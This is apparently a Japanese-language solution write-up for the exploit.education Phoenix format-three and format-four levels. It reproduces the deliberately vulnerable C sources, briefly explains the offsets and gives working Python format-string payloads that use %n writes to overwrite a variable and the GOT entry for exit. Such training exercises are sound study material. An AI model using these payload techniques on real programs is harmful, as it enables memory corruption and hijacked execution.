これらの問題には x86_64 の解法がないようです。
フォーマットスリー#
/*
* phoenix/format-three, by https://exploit.education
*
* "changeme"変数を正確な値に変更できますか?
*
* ひび割れたかぼちゃをどうやって修理しますか?かぼちゃパッチで。
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int changeme;
void bounce(char *str) {
printf(str);
}
int main(int argc, char **argv) {
char buf[4096];
printf("%s\n", BANNER);
if (read(0, buf, sizeof(buf) - 1) <= 0) {
exit(EXIT_FAILURE);
}
bounce(buf);
if (changeme == 0x64457845) {
puts("よくできました! 'changeme'変数が正しく変更されました!");
} else {
printf(
"次回はもっと頑張ってください - 取得した値は0x%08xで、0x64457845が必要です!\n", changeme);
}
exit(0);
}
% n を使用して、1 バイトずつ変更します。出力の長さが増加するため、最初の出力は 0x145 バイト、2 回目の出力は 0x178 バイト、依次増加します。
なぜ最初の出力が 0x45 バイトではないのですか?スタック上の 10 個の要素を消費してから、入力の先頭、つまり % n のターゲットに到達する必要があるためです。
これは Python 2 です(以下同様)
from pwn import *
p = process("/opt/phoenix/i486/format-three")
p.sendline("\x44\x98\x04\x08\x45\x98\x04\x08\x46\x98\x04\x08\x47\x98\x04\x08"+"A"*(0x145-99-4*4)+"%08x "*11+"%n"+"a"*((0x178-0x145))+"%n"+"a"*(0x245-0x178)+"%n"+"a"*(0x264-0x245)+"%n")
p.interactive()
フォーマットフォー#
/*
* phoenix/format-four, by https://exploit.education
*
* コードの実行に影響を与えることができますか?congratulations()が実行された後、独自のシェルコードを実行できますか?
*
* 髪を切ったの?
* いいえ、全部切ったよ。
*
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
void bounce(char *str) {
printf(str);
exit(0);
}
void congratulations() {
printf("よくできました!コードの実行がリダイレクトされました!\n");
exit(0);
}
int main(int argc, char **argv) {
char buf[4096];
printf("%s\n", BANNER);
if (read(0, buf, sizeof(buf) - 1) <= 0) {
exit(EXIT_FAILURE);
}
bounce(buf);
}
GOT テーブルに書き込み、exit のアドレスを上書きします。(アドレスを変更する方法について半日かけて研究しましたが、結果的に...)
プログラムが終了せず、無限ループになります。
payload="\xe4\x97\x04\x08\xe5\x97\x04\x08\xe6\x97\x04\x08\xe7\x97\x04\x08"+"A"*(0x103-99-4*4)+"%08x "*11+"%n"+"a"*((0x185-0x103))+"%n"+"a"*(0x204-0x185)+"%n"+"a"*(0x208-0x204)+"%n"
open("/home/user/buf","wb").write(payload)